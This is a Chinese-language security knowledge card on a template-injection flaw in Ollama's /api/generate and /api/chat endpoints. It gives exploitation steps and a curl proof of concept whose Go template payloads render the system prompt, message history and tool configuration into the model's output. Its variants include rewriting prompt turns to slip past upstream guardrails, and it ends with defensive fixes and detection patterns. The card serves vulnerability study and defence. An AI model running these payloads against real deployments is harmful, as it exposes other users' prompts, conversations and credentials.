Ollama /api/generate 用户可控 template 注入:Go text/template 读取 .System/.Messages/.Tools 并操纵提示词
web/golang · verified
一句话结论
Ollama 的 /api/generate 与 /api/chat 在请求携带 template 参数时,会把它直接交给 Go text/template 的 template.Parse() 解析并执行;攻击者用 {{.System}}、{{range .Messages}}...{{end}}、{{.Tools}} 等模板表达式即可把服务端注入的 System Prompt、对话消息与工具配置渲染进发给模型的 Prompt,再借模型回显读取这些本不应暴露的内容,并可改写提示词结构。
原理
- 入口:
server/routes.go的GenerateHandler(以及 chat 处理路径)读取请求 JSON 中的template字段;当req.Template != ""时执行tmpl, err = template.Parse(req.Template),覆盖模型自带的模板。 - 解析不受信任输入:
template/template.go的Parse(s string)直接template.New("").Option("missingkey=zero").Funcs(funcs).Parse(s),s完全来自用户;没有白名单、没有转义、没有限制可访问字段。 - 执行时暴露 Values:
Template.Execute把服务端构造的Values作为模板数据: .Prompt、.Suffix、.Think、.IsThinkSet;.System(整理后的 system 消息);.Messages([]api.Message,含 Role/Content/Images/ToolCalls 等);.Tools(工具/插件配置)。 Gotext/template支持字段访问、range、index、管道与内置函数(代码还注册了json等自定义函数),因此攻击者可以逐条遍历消息、格式化输出或只取特定字段。- 泄露路径:模板渲染结果会作为发送给 LLM 的 Prompt(
b.String()→prompt),模型通常会把 Prompt 内容续写/复述到response中;攻击者读取响应即可获得.System、.Messages、.Tools的内容。原文用.Prompt注入SECRET_DATA_12345、用.System与.Messages的range输出验证了这一点。 - 跨用户边界需要部署条件:直接调用 Ollama 时,
.Messages/.System通常来自本次请求(调用者自己提供)。只有当上层应用/网关把服务端掌握的 System Prompt、其他会话历史或工具密钥拼进 Ollama 请求,同时又把template参数暴露给用户时,才会造成跨用户/跨信任边界的数据泄露;原文“任意用户获取别人对话历史”的表述依赖这种部署,示教请求本身没有证明跨用户读取。 - 为何不是 RCE:Go
text/template默认不提供任意函数调用或反射式命令执行;其危害主要是读取模板数据、改写 Prompt、调用Values暴露的导出方法。若自定义funcs或数据类型带有危险方法,影响可能扩大,但不能把本漏洞直接等同于命令执行。
触发条件
- 目标为 Ollama
≤ v0.9.5(原文正文;图01 报告标记受影响版本v0.9.6),且/api/generate或/api/chat可达(默认:11434,Ollama 默认无认证)。 - 请求可以携带
template字段,且raw不为 true(raw=true时跳过模板路径)。 - 上层部署把敏感内容(System Prompt、对话历史、工具配置/密钥)放入 Ollama 请求的
system/messages/tools字段;否则只能读取调用者自己提交的数据,危害有限。 - 模型愿意复述/续写渲染后的 Prompt,攻击者才能从响应中间接读到内容;若响应不回显,可尝试让模板把目标内容嵌入模型会重复的结构,或结合报错/长度差异判断。
利用步骤
- 确认服务与版本:
GET /api/version、GET /api/tags选择可用模型。 - 验证模板求值:向
/api/generate发送template: "LEAKED:{{.Prompt}}",prompt填一个标记串,观察响应是否包含标记,确认用户模板被解析。 - 读取 System Prompt:
template: "{{.System}}",观察模型响应/续写内容。 - 遍历对话历史:
template: "{{range .Messages}}Role:{{.Role}} Content:{{.Content}}|{{end}}",从响应中提取消息内容。 - 读取工具配置:尝试
{{.Tools}}或{{range .Tools}}...{{end}}(字段名以实际api.Tools结构为准),寻找工具描述、参数或密钥。 - 用
{{printf "%v" .}}、{{json .}}等扩大输出;若模型不回显,可构造让模型必须复述的模板前缀。 - 结合泄露的 System Prompt/历史继续做提示词注入、权限绕过或凭据利用。
PoC
# 1) 版本与模型
curl -s http://localhost:11434/api/version
curl -s http://localhost:11434/api/tags
# 2) 验证 template 被解析:prompt 标记被渲染进模型输入
curl -s http://localhost:11434/api/generate \
-H 'Content-Type: application/json' \
-d '{
"model": "qwen2.5:0.5b",
"prompt": "SECRET_DATA_12345",
"template": "LEAKED:{{.Prompt}}",
"stream": false
}'
# 3) 读取 System Prompt
curl -s http://localhost:11434/api/generate \
-H 'Content-Type: application/json' \
-d '{"model":"qwen2.5:0.5b","prompt":"test","template":"{{.System}}","stream":false}'
# 4) 遍历对话历史
curl -s http://localhost:11434/api/generate \
-H 'Content-Type: application/json' \
-d '{
"model": "qwen2.5:0.5b",
"prompt": "hi",
"template": "{{range .Messages}}Role:{{.Role}} Content:{{.Content}}|{{end}}",
"stream": false
}'
原文在 Ollama v0.9.5 + qwen2.5:0.5b 上验证了上述请求;本卡未执行 PoC。
变体与关联
- 变体:
/api/chat:同一template参数在 chat 端点同样生效;chat 请求天然带messages,更适合验证.Messages的读取。 - 变体:模板函数:
Parse注册了json等函数,可把结构体整体序列化后送入 Prompt;printf "%#v"也可展开字段。 - 变体:提示词操纵:攻击者不读取数据,而是用模板重排/插入 System/User 回合,改变模型对消息角色的理解,绕过上层护栏或注入指令。
- 变体:模型自带模板:若攻击者能修改 Modelfile/模型模板,同样可注入;参见 [[ai-security-supply-chain-llama-cpp-gguf-chat-template-jinja2-ssti-rce]](GGUF chat_template 的 Jinja2 SSTI,可 RCE)。
- 关联:[[web-generic-auth-ollama-unauth-api-model-management]](Ollama 未授权 API 暴露)、[[ai-security-prompt-injection-chat-template-special-token]](chat template 特殊 token 伪造回合)。
- 边界:
raw=true绕过模板;上层网关剥离/固定template;请求中不含敏感 System/Messages;模型拒绝复述或输出被过滤;Go text/template 本身不提供命令执行。原文未给出官方修复版本,升级前应以实际版本与厂商公告为准。
检测与防御
- 修复方向:不要接受用户可控的
template;只允许模型 Modelfile/服务端配置中的模板,或在网关层直接剥离该字段。若业务确需自定义模板,使用字段/函数白名单并在沙箱中渲染,禁止.Messages、.Tools、方法调用等敏感访问。 - 认证与隔离:Ollama API 不应裸露在公网;前置认证代理、限制来源,按用户/租户隔离请求与模型实例,避免把他人历史拼进同一请求。
- 秘密管理:不要把系统提示、API Key、工具凭据放进模板可访问的
Values;需要保密的内容留在服务端,模板只接收最小必要字段。 - 检测:监控请求体含
"template"且出现{{、.System、.Messages、.Tools、range、printf、json等特征;关注同一来源枚举模型、反复调用/api/generate并带异常模板;检查响应中是否出现系统提示/历史片段。 - 响应:升级 Ollama 或应用网关规则,轮换可能泄露的模型/工具凭据,审计历史请求与对话记录,评估是否已有提示词注入或数据外带。